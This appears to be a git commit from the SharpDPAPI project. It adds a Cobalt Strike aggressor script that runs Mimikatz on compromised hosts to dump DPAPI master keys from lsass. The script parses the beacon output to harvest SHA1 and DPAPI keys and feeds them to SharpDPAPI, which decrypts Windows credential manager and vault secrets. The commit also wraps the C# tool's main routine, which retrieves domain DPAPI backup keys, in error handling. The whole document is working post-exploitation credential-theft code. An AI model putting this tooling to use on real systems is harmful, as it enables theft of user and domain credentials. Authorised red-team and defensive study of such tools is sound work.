Added aggressor script, add try/catch in main()

This commit is contained in:
Lee Christensen committed 2019-03-15 13:59:24 -07:00
1 parent cbb4d533fd
commit 90ff5b4104
2 files changed
+529 -236

No files matched your search

+289
View File
@@ -0,0 +1,289 @@
# author: @tifkin_
global('$SharpDPAPI::AssemblyPath');
$SharpDPAPI::AssemblyPath = "/path/to/SharpDPAPI.exe";
if(!-exists $SharpDPAPI::AssemblyPath) {
show_error("SharpDPAPI path not found!");
exit();
}
# Extract DPAPI creds from mimikatz output
on beacon_output {
local('$hostname $account $domain $ntlm $sha1 $dpapi $password $length $guid $source');
$hostname = binfo($1,"internal") . " (" . binfo($1,"computer") . ")";
# DPAPI/SHA1 Keys from sekurlsa::logonPasswords
while ($2 hasmatch 'Username : (.*).*[\n\r].*Domain : (.*)[\n\r].*NTLM.*[\n\r].*SHA1 : (.*)[\n\r].*DPAPI : (.*)[\n\r]') {
$account = matched()[0];
$domain = matched()[1];
$sha1 = matched()[2];
$dpapi = matched()[3];
if($sha1) {
credential_add($account, $sha1, $domain, "mimikatz: SHA1", $hostname);
}
if($dpapi) {
credential_add($account, $dpapi, $domain, "mimikatz: DPAPI", $hostname);
}
}
# DPAPI masterkeys and SHA1 Keys from sekurlsa::dpapi
if ($2 hasmatch ' \* MasterKey :') {
SharpDPAPI::ParseMasterKeys($1, $2, $hostname);
}
}
sub SharpDPAPI::ParseMasterKeys {
local('$1 $2 $beaconId $output $hostname $State $line $UserName $Domain $guid $masterkey $sha1 $STATE_ScanningForHeader $STATE_ParsingHeader $STATE_ScanningForKeyHeader $STATE_ParsingKeys');
$beaconId = $1;
$output = $2;
$hostname = $3;
$guid = "";
$masterkey = "";
$sha1 = "";
$Domain = "";
$UserName = "";
# States = 1 ScanningForHeader, 2 ParsingHeader, 3 ScanningForKeyHeader, 4 ParsingKeys
$STATE_ScanningForHeader = 1;
$STATE_ParsingHeader = 2;
$STATE_ScanningForKeyHeader = 3;
$STATE_ParsingKeys = 4;
$State = $STATE_ScanningForHeader;
foreach $line (split("\n", ["$output" trim])) {
# 1 = ScanningForHeader
if($State == $STATE_ScanningForHeader) { # Scanning
if($line ismatch 'Authentication Id :.*') {
$State = $STATE_ParsingHeader;
#println("StateChange: ScanningForHeader")
continue;
} else if($line eq "Sleep : 111 ms... End !") {
blog($beaconId, "Mimikatz complete. Executing SharpDPAPI");
sleep(2000); # Ugh, wait for the server to sync the creds locally
SharpDPAPI::ExecuteSharpDPAPI($1, true);
return;
} else if($line eq "Sleep : 112 ms... End !") {
blog($beaconId, "Mimikatz complete. Executing SharpDPAPI...");
sleep(2000); # Ugh, wait for the server to sync the creds locally
SharpDPAPI::ExecuteSharpDPAPI($1, false);
return;
} else {
# Unexpected content, so we'll keep scanning for a header
continue;
}
}
# 2 = ParsingHeader
if($State == $STATE_ParsingHeader) {
if($line ismatch 'User Name : (.*)') {
$UserName = matched()[0];
} else if($line ismatch 'Domain : (.*)') {
$Domain = matched()[0];
} else if($line ismatch 'SID : .*') {
$State = $STATE_ScanningForKeyHeader;
#println("StateChange: ParsingKeys(cont.)")
continue;
} else if($line ismatch '(Session|Logon Server|Logon Time)\W+: .*') {
# Still in the header, but we don't care about these fields
#println("StateChange: ParsingHeader(cont.)")
continue;
} else {
#println("StateChange: ScanningForHeader(cont.)")
$State = $STATE_ScanningForHeader;
$guid = "";
$masterkey = "";
$sha1 = "";
$Domain = "";
$UserName = "";
continue;
}
}
# 3 = ScanningForKeyHeader
if($State == $STATE_ScanningForKeyHeader) {
if($line ismatch ' \[\d+\]') { # Start of key
$guid = "";
$masterkey = "";
$sha1 = "";
$State = $STATE_ParsingKeys;
continue;
} else {
$State = $STATE_ScanningForHeader;
$guid = "";
$masterkey = "";
$sha1 = "";
$Domain = "";
$UserName = "";
continue;
}
}
if($State == $STATE_ParsingKeys) {
if($line ismatch ' \* GUID : (.*)') { # Start of key
$guid = matched()[0];
} else if($line ismatch ' \* Time : .*') { # Start of key
continue;
} else if($line ismatch ' \* MasterKey : (.*)') { # Start of key
$masterkey = matched()[0];
} else if($line ismatch ' \* sha1\(key\) : (.*)') { # Start of key
$sha1 = matched()[0];
#if($masterkey) {
# credential_add($UserName, "$guid:$masterkey", $Domain, "mimikatz: DPAPI Master Key", $hostname);
#}
if($sha1) {
credential_add($UserName, $guid . ":" . $sha1, $Domain, "mimikatz: DPAPI Master Key SHA1", $hostname);
}
$guid = "";
$masterkey = "";
$sha1 = "";
$State = $STATE_ScanningForKeyHeader;
continue;
} else {
# ERROR
$guid = "";
$masterkey = "";
$sha1 = "";
$Domain = "";
$UserName = "";
$State = $STATE_ScanningForHeader;
continue;
}
}
}
}
beacon_command_register(
"sharpDPAPI",
"Extracts credential manager and vault credentials using SharpDPAPI.",
"Use: sharpDPAPI [-dump] [-allkeys]\n" .
"Arguments:\n" .
" -dump Use mimikatz to dump DPAPI keys from lsass using Mimikatz's sekurlsa::dpapi\n" .
" -allkeys Use all DPAPI keys found in the credential store (not just the DPAPI keys found on this host)\n\n" .
"Extracts credential manager and vault credentials using SharpDPAPI. Extracts DPAPI master keys using Mimikatz."
);
alias sharpDPAPI {
local('$1 $2 $3 $bid $DumpKeys $UseAllKeys');
$bid = $1;
$Dumpkeys = $false;
$UseAllKeys = $false;
if(lc($2) eq "-dump" || lc($3) eq "-dump") {
$DumpKeys = true;
}
if(lc($2) eq "-allkeys" || lc($3) eq "-allkeys") {
$UseAllKeys = true;
}
if($DumpKeys) {
if(-isadmin $1) {
# Keep the sleep in there. Janky way to pass an argument later...
if($UseAllKeys) {
bmimikatz($1, "sekurlsa::dpapi\ndpapi::cache\nstandard::sleep 111");
} else {
bmimikatz($1, "sekurlsa::dpapi\ndpapi::cache\nstandard::sleep 112");
}
} else {
berror($1, "You need to be an administrator.");
}
} else {
SharpDPAPI::ExecuteSharpDPAPI($bid, $UseAllKeys);
}
}
# 1 = bid, $UseAllKeys
sub SharpDPAPI::ExecuteSharpDPAPI {
local('$1 $bid @masterkeys $UseAllKeys $command');
$bid = $1;
$UseAllKeys = $2;
@masterkeys = SharpDPAPI::GetMasterkeysFromCredStore($bid, $UseAllKeys);
if(size(@masterkeys) > 0) {
$command = "triage " . join(" ", @masterkeys);
bexecute_assembly($bid, $SharpDPAPI::AssemblyPath, $command);
} else {
if($UseAllKeys) {
berror($1,
"No masterkeys found.\n" .
"If admin, run \"SharpDPAPI -dump\" to dump the masterkeys on the current machine from lsass.exe");
} else {
berror($1,
"No masterkeys found on the current host.\n" .
"If admin, run \"SharpDPAPI -dump\" to dump the masterkeys on the current machine from lsass.exe\n" .
"or run \"SharpDPAPI -allkeys\" to use all DPAPI keys found in the credential store.");
}
}
}
beacon_command_register(
"sharpDPAPI_masterkeysToClipboard",
"Copies all DPAPI master keys in the credential store to the clipboard.",
"Use: sharpDPAPI_masterkeysToClipboard\n\n" .
"Copies all DPAPI master keys in the credential store to the clipboard.",
);
# 1 = ReturnAllKeys
alias sharpDPAPI_masterkeysToClipboard {
local('@masterkeys $out $bid');
$bid = $1;
@masterkeys = SharpDPAPI::GetMasterkeysFromCredStore($bid, true);
$out = join(" ", @masterkeys);
blog($1, "DPAPI master keys currently in Cobalt Strike's credential store (use these with SharpDPAPI):\n\n" . $out);
add_to_clipboard($out);
}
# 1 = bid, 2 = ReturnAllKeys
sub SharpDPAPI::GetMasterkeysFromCredStore {
local('$1 $2 $bid %cred @masterkeys');
$bid = $1;
$ReturnAllKeys = $2;
foreach %cred (credentials()) {
# Only return masterkeys on the current host
if($ReturnAllKeys eq false) {
if(!%cred["host"]) {
continue;
}
if(![%cred["host"] contains: binfo($bid, "host")]) {
continue;
}
}
if(%cred["password"] ismatch '\{[a-z0-9]{8}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{12}\}:.*') {
push(@masterkeys, %cred["password"]);
}
}
return @masterkeys;
}
+240 -236
View File
@@ -43,282 +43,286 @@ namespace SharpDPAPI
static void Main(string[] args)
{
Logo();
try {
Logo();
if (args.Length < 1)
{
Usage();
return;
}
if (args.Length < 1)
{
Usage();
return;
}
var arguments = new Dictionary<string, string>();
foreach (string argument in args)
{
int idx = argument.IndexOf(':');
if (idx > 0)
{
string key = argument.Substring(0, idx);
string value = argument.Substring(idx + 1);
var arguments = new Dictionary<string, string>();
foreach (string argument in args)
{
int idx = argument.IndexOf(':');
if (idx > 0)
{
string key = argument.Substring(0, idx);
string value = argument.Substring(idx + 1);
if (!key.StartsWith("/"))
{
// meaning the guid:masterkey mappings. we want to ensure standard {GUID}:SHA1 formatting
if (!key.StartsWith("{"))
{
key = String.Format("{{{0}}}", key);
}
}
if (!key.StartsWith("/"))
{
// meaning the guid:masterkey mappings. we want to ensure standard {GUID}:SHA1 formatting
if (!key.StartsWith("{"))
{
key = String.Format("{{{0}}}", key);
}
}
arguments[key] = value;
}
else
{
arguments[argument] = "";
}
}
arguments[key] = value;
}
else
{
arguments[argument] = "";
}
}
if (arguments.ContainsKey("backupkey"))
{
Console.WriteLine("\r\n[*] Action: Retrieve domain DPAPI backup key\r\n");
string server = "";
string outFile = "";
if (arguments.ContainsKey("backupkey"))
{
Console.WriteLine("\r\n[*] Action: Retrieve domain DPAPI backup key\r\n");
string server = "";
string outFile = "";
if (arguments.ContainsKey("/server"))
{
server = arguments["/server"];
Console.WriteLine("\r\n[*] Using server : {0}", server);
}
else
{
server = Interop.GetDCName();
if (String.IsNullOrEmpty(server))
{
return;
}
Console.WriteLine("\r\n[*] Using current domain controller : {0}", server);
}
if (arguments.ContainsKey("/server"))
{
server = arguments["/server"];
Console.WriteLine("\r\n[*] Using server : {0}", server);
}
else
{
server = Interop.GetDCName();
if (String.IsNullOrEmpty(server))
{
return;
}
Console.WriteLine("\r\n[*] Using current domain controller : {0}", server);
}
if (arguments.ContainsKey("/file"))
{
outFile = arguments["/file"];
}
if (arguments.ContainsKey("/file"))
{
outFile = arguments["/file"];
}
Backup.GetBackupKey(server, outFile);
}
Backup.GetBackupKey(server, outFile);
}
if (arguments.ContainsKey("masterkeys"))
{
Console.WriteLine("\r\n[*] Action: Triage Masterkey Files\r\n");
byte[] backupKeyBytes;
if (arguments.ContainsKey("/pvk"))
{
string pvk64 = arguments["/pvk"];
if (File.Exists(pvk64))
{
backupKeyBytes = File.ReadAllBytes(pvk64);
}
else
{
backupKeyBytes = Convert.FromBase64String(pvk64);
}
}
else
{
Console.WriteLine("[X] A /pvk:BASE64 domain DPAPI backup key must be supplied!");
return;
}
if (arguments.ContainsKey("masterkeys"))
{
Console.WriteLine("\r\n[*] Action: Triage Masterkey Files\r\n");
byte[] backupKeyBytes;
if (arguments.ContainsKey("/pvk"))
{
string pvk64 = arguments["/pvk"];
if (File.Exists(pvk64))
{
backupKeyBytes = File.ReadAllBytes(pvk64);
}
else
{
backupKeyBytes = Convert.FromBase64String(pvk64);
}
}
else
{
Console.WriteLine("[X] A /pvk:BASE64 domain DPAPI backup key must be supplied!");
return;
}
Dictionary<string, string> mappings = Triage.TriageMasterKeys(backupKeyBytes, true);
Dictionary<string, string> mappings = Triage.TriageMasterKeys(backupKeyBytes, true);
Console.WriteLine("\r\n[*] Master key cache:\r\n");
foreach (KeyValuePair<string, string> kvp in mappings)
{
Console.WriteLine("{0}:{1}", kvp.Key, kvp.Value);
}
return;
}
Console.WriteLine("\r\n[*] Master key cache:\r\n");
foreach (KeyValuePair<string, string> kvp in mappings)
{
Console.WriteLine("{0}:{1}", kvp.Key, kvp.Value);
}
return;
}
else if (arguments.ContainsKey("credentials"))
{
Console.WriteLine("\r\n[*] Action: DPAPI Credential Triage\r\n");
arguments.Remove("credentials");
else if (arguments.ContainsKey("credentials"))
{
Console.WriteLine("\r\n[*] Action: DPAPI Credential Triage\r\n");
arguments.Remove("credentials");
if (arguments.ContainsKey("/target"))
{
string target = arguments["/target"];
arguments.Remove("/target");
if (arguments.ContainsKey("/target"))
{
string target = arguments["/target"];
arguments.Remove("/target");
if (arguments.ContainsKey("/pvk"))
{
// using a domain backup key to decrypt everything
string pvk64 = arguments["/pvk"];
byte[] backupKeyBytes;
if (arguments.ContainsKey("/pvk"))
{
// using a domain backup key to decrypt everything
string pvk64 = arguments["/pvk"];
byte[] backupKeyBytes;
if (File.Exists(pvk64))
{
backupKeyBytes = File.ReadAllBytes(pvk64);
}
else
{
backupKeyBytes = Convert.FromBase64String(pvk64);
}
if (File.Exists(pvk64))
{
backupKeyBytes = File.ReadAllBytes(pvk64);
}
else
{
backupKeyBytes = Convert.FromBase64String(pvk64);
}
// build a {GUID}:SHA1 masterkey mappings
Dictionary<string, string> mappings = Triage.TriageMasterKeys(backupKeyBytes, false);
// build a {GUID}:SHA1 masterkey mappings
Dictionary<string, string> mappings = Triage.TriageMasterKeys(backupKeyBytes, false);
Console.WriteLine("[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!\r\n");
arguments = mappings;
}
Console.WriteLine("[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!\r\n");
arguments = mappings;
}
if (File.Exists(target))
{
Console.WriteLine("[*] Target Credential File: {0}\r\n", target);
Triage.TriageCredFile(target, arguments);
}
else if (Directory.Exists(target))
{
Console.WriteLine("[*] Target Credential Folder: {0}\r\n", target);
Triage.TriageCredFolder(target, arguments);
}
else
{
Console.WriteLine("\r\n[X] '{0}' is not a valid file or directory.", target);
}
}
if (File.Exists(target))
{
Console.WriteLine("[*] Target Credential File: {0}\r\n", target);
Triage.TriageCredFile(target, arguments);
}
else if (Directory.Exists(target))
{
Console.WriteLine("[*] Target Credential Folder: {0}\r\n", target);
Triage.TriageCredFolder(target, arguments);
}
else
{
Console.WriteLine("\r\n[X] '{0}' is not a valid file or directory.", target);
}
}
else if (arguments.ContainsKey("/pvk"))
{
// using a domain backup key to decrypt everything
string pvk64 = arguments["/pvk"];
else if (arguments.ContainsKey("/pvk"))
{
// using a domain backup key to decrypt everything
string pvk64 = arguments["/pvk"];
byte[] backupKeyBytes;
byte[] backupKeyBytes;
if (File.Exists(pvk64))
{
backupKeyBytes = File.ReadAllBytes(pvk64);
}
else
{
backupKeyBytes = Convert.FromBase64String(pvk64);
}
if (File.Exists(pvk64))
{
backupKeyBytes = File.ReadAllBytes(pvk64);
}
else
{
backupKeyBytes = Convert.FromBase64String(pvk64);
}
// build a {GUID}:SHA1 masterkey mappings
Dictionary<string, string> mappings = Triage.TriageMasterKeys(backupKeyBytes, false);
Console.WriteLine("[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!\r\n");
// build a {GUID}:SHA1 masterkey mappings
Dictionary<string, string> mappings = Triage.TriageMasterKeys(backupKeyBytes, false);
Console.WriteLine("[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!\r\n");
Triage.TriageCreds(mappings);
return;
}
else
{
Triage.TriageCreds(arguments);
}
}
Triage.TriageCreds(mappings);
return;
}
else
{
Triage.TriageCreds(arguments);
}
}
else if (arguments.ContainsKey("vaults"))
{
Console.WriteLine("\r\n[*] Action: DPAPI Vault Triage\r\n");
arguments.Remove("vaults");
else if (arguments.ContainsKey("vaults"))
{
Console.WriteLine("\r\n[*] Action: DPAPI Vault Triage\r\n");
arguments.Remove("vaults");
if (arguments.ContainsKey("/target"))
{
string target = arguments["/target"];
arguments.Remove("/target");
if (arguments.ContainsKey("/target"))
{
string target = arguments["/target"];
arguments.Remove("/target");
if (arguments.ContainsKey("/pvk"))
{
// using a domain backup key to decrypt everything
string pvk64 = arguments["/pvk"];
byte[] backupKeyBytes;
if (arguments.ContainsKey("/pvk"))
{
// using a domain backup key to decrypt everything
string pvk64 = arguments["/pvk"];
byte[] backupKeyBytes;
if (File.Exists(pvk64))
{
backupKeyBytes = File.ReadAllBytes(pvk64);
}
else
{
backupKeyBytes = Convert.FromBase64String(pvk64);
}
if (File.Exists(pvk64))
{
backupKeyBytes = File.ReadAllBytes(pvk64);
}
else
{
backupKeyBytes = Convert.FromBase64String(pvk64);
}
// build a {GUID}:SHA1 masterkey mappings
Dictionary<string, string> mappings = Triage.TriageMasterKeys(backupKeyBytes, false);
// build a {GUID}:SHA1 masterkey mappings
Dictionary<string, string> mappings = Triage.TriageMasterKeys(backupKeyBytes, false);
Console.WriteLine("[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!\r\n");
arguments = mappings;
}
Console.WriteLine("[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!\r\n");
arguments = mappings;
}
if (Directory.Exists(target))
{
Console.WriteLine("[*] Target Vault Folder: {0}\r\n", target);
Triage.TriageVaultFolder(target, arguments);
}
else
{
Console.WriteLine("\r\n[X] '{0}' is not a valid Vault directory.", target);
}
}
else if (arguments.ContainsKey("/pvk"))
{
// using a domain backup key to decrypt everything
string pvk64 = arguments["/pvk"];
if (Directory.Exists(target))
{
Console.WriteLine("[*] Target Vault Folder: {0}\r\n", target);
Triage.TriageVaultFolder(target, arguments);
}
else
{
Console.WriteLine("\r\n[X] '{0}' is not a valid Vault directory.", target);
}
}
else if (arguments.ContainsKey("/pvk"))
{
// using a domain backup key to decrypt everything
string pvk64 = arguments["/pvk"];
byte[] backupKeyBytes;
byte[] backupKeyBytes;
if (File.Exists(pvk64))
{
backupKeyBytes = File.ReadAllBytes(pvk64);
}
else
{
backupKeyBytes = Convert.FromBase64String(pvk64);
}
if (File.Exists(pvk64))
{
backupKeyBytes = File.ReadAllBytes(pvk64);
}
else
{
backupKeyBytes = Convert.FromBase64String(pvk64);
}
// build a {GUID}:SHA1 masterkey mappings
Dictionary<string, string> mappings = Triage.TriageMasterKeys(backupKeyBytes, false);
// build a {GUID}:SHA1 masterkey mappings
Dictionary<string, string> mappings = Triage.TriageMasterKeys(backupKeyBytes, false);
Console.WriteLine("[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!\r\n");
Console.WriteLine("[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!\r\n");
Triage.TriageVaults(mappings);
return;
}
else
{
Triage.TriageVaults(arguments);
}
}
Triage.TriageVaults(mappings);
return;
}
else
{
Triage.TriageVaults(arguments);
}
}
else if (arguments.ContainsKey("triage"))
{
Console.WriteLine("\r\n[*] Action: DPAPI Credential and Vault Triage\r\n");
arguments.Remove("triage");
else if (arguments.ContainsKey("triage"))
{
Console.WriteLine("\r\n[*] Action: DPAPI Credential and Vault Triage\r\n");
arguments.Remove("triage");
if (arguments.ContainsKey("/pvk"))
{
// using a domain backup key to decrypt everything
string pvk64 = arguments["/pvk"];
byte[] backupKeyBytes = Convert.FromBase64String(pvk64);
Dictionary<string, string> mappings = Triage.TriageMasterKeys(backupKeyBytes, false);
if (arguments.ContainsKey("/pvk"))
{
// using a domain backup key to decrypt everything
string pvk64 = arguments["/pvk"];
byte[] backupKeyBytes = Convert.FromBase64String(pvk64);
Dictionary<string, string> mappings = Triage.TriageMasterKeys(backupKeyBytes, false);
Console.WriteLine("[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!\r\n");
Console.WriteLine("[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!\r\n");
Triage.TriageCreds(mappings);
Triage.TriageVaults(mappings);
return;
}
Triage.TriageCreds(mappings);
Triage.TriageVaults(mappings);
return;
}
else
{
Triage.TriageCreds(arguments);
Triage.TriageVaults(arguments);
}
}
else
{
Triage.TriageCreds(arguments);
Triage.TriageVaults(arguments);
}
}
else
{
Usage();
}
}
else
{
Usage();
}
} catch(Exception e) {
Console.WriteLine("Unhandled error: " + e);
}
}
}
}